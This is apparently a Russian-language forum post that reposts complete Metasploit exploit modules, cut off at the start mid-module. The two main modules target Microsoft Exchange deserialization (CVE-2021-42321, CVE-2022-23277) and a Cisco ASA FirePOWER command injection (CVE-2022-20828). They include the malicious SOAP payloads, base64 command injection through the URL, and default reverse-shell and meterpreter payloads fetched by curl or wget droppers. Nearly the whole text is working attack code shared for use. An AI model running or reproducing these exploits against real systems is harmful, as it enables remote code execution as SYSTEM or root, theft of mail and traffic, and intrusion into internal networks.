    file_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it
    write_file(TARGET_FILE, @backup[:contents])
    print_status('Restoring file permissions...')
    chmod(TARGET_FILE, @backup[:stat].mode & 0o777)
  end
end
 

Microsoft Exchange Server ChainedSerializationBinder Remote Code Execution Exploit​

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'nokogiri'
 
class MetasploitModule < Msf::Exploit::Remote
 
  Rank = ExcellentRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HTTP::Exchange
  include Msf::Exploit::Deprecated
  moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',
        'Description' => %q{
          This module exploits vulnerabilities within the ChainedSerializationBinder as used in
          Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and
          Exchange Server 2016 CU22 all prior to Mar22SU.
 
          Note that authentication is required to exploit these vulnerabilities.
        },
        'Author' => [
          'pwnforsp', # Original Bug Discovery
          'zcgonvh', # Of 360 noah lab, Original Bug Discovery
          'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild
          'Microsoft Security Response Center', # Discovery of exploitation in the wild
          'peterjson', # Writeup
          'testanull', # PoC Exploit
          'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D
          'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains
          'Markus Wulftange' # CVE-2022-23277 research
        ],
        'References' => [
          # CVE-2021-42321 references
          ['CVE', '2021-42321'],
          ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],
          ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],
          ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],
          ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],
          ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],
          # CVE-2022-23277 references
          ['CVE', '2022-23277'],
          ['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],
          ['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']
        ],
        'DisclosureDate' => '2021-12-09',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'HttpClientTimeout' => 5,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169
            CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.
          ]
        }
      )
    )
    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']),
      OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server'])
    ])
  end
 
  def post_auth?
    true
  end
 
  def username
    datastore['HttpUsername']
  end
 
  def password
    datastore['HttpPassword']
  end
 
  def cve_2021_42321_vuln_builds
    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
    [
      '15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21
      '15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22
      '15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10
      '15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11
    ]
  end
 
  def cve_2022_23277_vuln_builds
    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
    [
      '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU
      '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU
      '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU
      '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU
      '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU
      '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU
      '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU
      '15.2.986.15'  # Exchange Server 2019 CU11 Jan22SU
    ]
  end
 
  def check
    # Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version
    current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)
    if current_build_rex.nil?
      return CheckCode::Unknown("Couldn't retrieve the target Exchange Server version!")
    end
 
    @exchange_build = current_build_rex.to_s
 
    if cve_2021_42321_vuln_builds.include?(@exchange_build)
      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")
    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
      CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")
    else
      CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")
    end
  end
 
  def exploit
    if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it
      @exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s
      if @exchange_build.nil?
        fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')
      end
    end
 
    if cve_2021_42321_vuln_builds.include?(@exchange_build)
      @gadget_chain = :ClaimsPrincipal
    elsif cve_2022_23277_vuln_builds.include?(@exchange_build)
      @gadget_chain = :DataSetTypeSpoof
    else
      fail_with(Failure::NotVulnerable, "Exchange Server #{@exchange_build} is not a vulnerable version!")
    end
 
    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end
 
  def execute_command(cmd, _opts = {})
    # Get the user's inbox folder's ID and change key ID.
    print_status("Getting the user's inbox folder's ID and ChangeKey ID...")
    xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
      <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
      <m:GetFolder>
        <m:FolderShape>
        <t:BaseShape>AllProperties</t:BaseShape>
        </m:FolderShape>
        <m:FolderIds>
        <t:DistinguishedFolderId Id="inbox" />
        </m:FolderIds>
      </m:GetFolder>
      </soap:Body>
    </soap:Envelope>)
 
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_getfolder_inbox,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
 
    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end
 
    if res.code == 401
      fail_with(Failure::NoAccess, "Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\#{username}")
    end
 
    xml_getfolder = res.get_xml_document
    xml_getfolder.remove_namespaces!
    xml_tag = xml_getfolder.xpath('//FolderId')
    if xml_tag.empty?
      print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')
      fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')
    end
    unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')
      fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')
    end
    change_key_val = xml_tag.attribute('ChangeKey').value
    folder_id_val = xml_tag.attribute('Id').value
    print_good("ChangeKey value for Inbox folder is #{change_key_val}")
    print_good("ID value for Inbox folder is #{folder_id_val}")
 
    # Delete the user configuration object that currently on the Inbox folder.
    print_status('Deleting the user configuration object associated with Inbox folder...')
    xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
        <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
        <m:DeleteUserConfiguration>
          <m:UserConfigurationName Name="ExtensionMasterTable">
            <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
          </m:UserConfigurationName>
        </m:DeleteUserConfiguration>
      </soap:Body>
    </soap:Envelope>)
 
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_delete_inbox_user_config,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
 
    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end
 
    if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
      print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
    else
      print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')
      print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')
    end
 
    # Now to replace the deleted user configuration object with our own user configuration object.
    print_status('Creating the malicious user configuration object on the Inbox folder!')
 
    xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
        <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
        <m:CreateUserConfiguration>
          <m:UserConfiguration>
            <t:UserConfigurationName Name="ExtensionMasterTable">
              <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
            </t:UserConfigurationName>
            <t:Dictionary>
              <t:DictionaryEntry>
                <t:DictionaryKey>
                  <t:Type>String</t:Type>
                  <t:Value>OrgChkTm</t:Value>
                </t:DictionaryKey>
                <t:DictionaryValue>
                  <t:Type>Integer64</t:Type>
                  <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>
                </t:DictionaryValue>
              </t:DictionaryEntry>
              <t:DictionaryEntry>
                <t:DictionaryKey>
                  <t:Type>String</t:Type>
                  <t:Value>OrgDO</t:Value>
                </t:DictionaryKey>
                <t:DictionaryValue>
                  <t:Type>Boolean</t:Type>
                  <t:Value>false</t:Value>
                </t:DictionaryValue>
              </t:DictionaryEntry>
            </t:Dictionary>
            <t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData>
          </m:UserConfiguration>
        </m:CreateUserConfiguration>
      </soap:Body>
    </soap:Envelope>)
 
    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_malicious_user_config,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
 
    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end
 
    unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}
      fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')
    end
 
    print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')
 
    # Deserialize our object. If all goes well, you should now have SYSTEM :)
    print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')
    xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
        <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
        <m:GetClientAccessToken>
          <m:TokenRequests>
            <t:TokenRequest>
              <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>
              <t:TokenType>CallerIdentity</t:TokenType>
            </t:TokenRequest>
          </m:TokenRequests>
        </m:GetClientAccessToken>
      </soap:Body>
    </soap:Envelope>)
 
    begin
      send_request_cgi(
        {
          'method' => 'POST',
          'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
          'data' => xml_get_client_access_token,
          'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
        }
      )
    rescue Errno::ECONNRESET
      # when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised
    end
  end
end
 

Cisco ASA-X With FirePOWER Services Authenticated Command Injection Exploit​

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco ASA-X with FirePOWER Services Authenticated Command Injection',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability affecting
          Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's
          ASDM web server and lands in the FirePower Services SFR module's Linux virtual
          machine as the root user. Access to the virtual machine allows the attacker to
          pivot to the inside network, and access the outside network. Also, the SFR
          virtual machine is running snort on the traffic flowing through the ASA, so
          the attacker should have access to this diverted traffic as well.
 
          This module requires ASDM credentials in order to traverse the ASDM interface.
          A similar attack can be performed via Cisco CLI (over SSH), although that isn't
          implemented here.
 
          Finally, it's worth noting that this attack bypasses the affects of the
          `lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be
          available but this attack makes it available).
 
          Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that
          support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,
          and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module
          versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will
          receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2022-20828' ],
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/' ],
          [ 'URL', 'https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html']
        ],
        'DisclosureDate' => '2022-06-22',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X64,],
        'Privileged' => true,
        'Targets' => [
          [
            'Shell Dropper',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64,
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'curl', 'wget' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),
    ])
  end
 
  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/admin/exec/session+sfr+do+`id`'),
      'headers' =>
      {
        'User-Agent' => 'ASDM/ Java/1',
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      }
    })
    return CheckCode::Unknown('The target did not respond to the check.') unless res
    return CheckCode::Safe('Authentication failed.') if res.code == 401
    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
 
    if res.body.include?('Invalid do command uid=0(root)')
      return CheckCode::Vulnerable("Successfully executed the 'id' command.")
    end
 
    CheckCode::Safe('The command injection does not appear to work.')
  end
 
  def execute_command(cmd, _opts = {})
    # base64 encode the payload to work around bad characters and then uri encode
    # the whole thing before yeeting it at the server
    encoded_payload = Rex::Text.uri_encode("(base64 -d<<<#{Rex::Text.encode_base64(cmd)}|sh)&")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/admin/exec/session+sfr+do+`#{encoded_payload}`"),
      'headers' =>
      {
        'User-Agent' => 'ASDM/ Java/1',
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      }
    })
 
    if res
      fail_with(Failure::Unreachable, 'The target did not respond.') unless res
      fail_with(Failure::NoAccess, 'Could not log in. Verify credentials.') if res.code == 401
      fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
    end
 
    if session_created?
      # technically speaking, bash can hold the connection open and skip all the res checks
      # also passing the res checks doesn't actually mean that the target was exploited so
      # check a session was created to get verification
      print_good('Session created!')
    else
      fail_with(Failure::NotVulnerable, 'The exploit was thrown but not session was created.')
    end
  end
 
  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
 
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх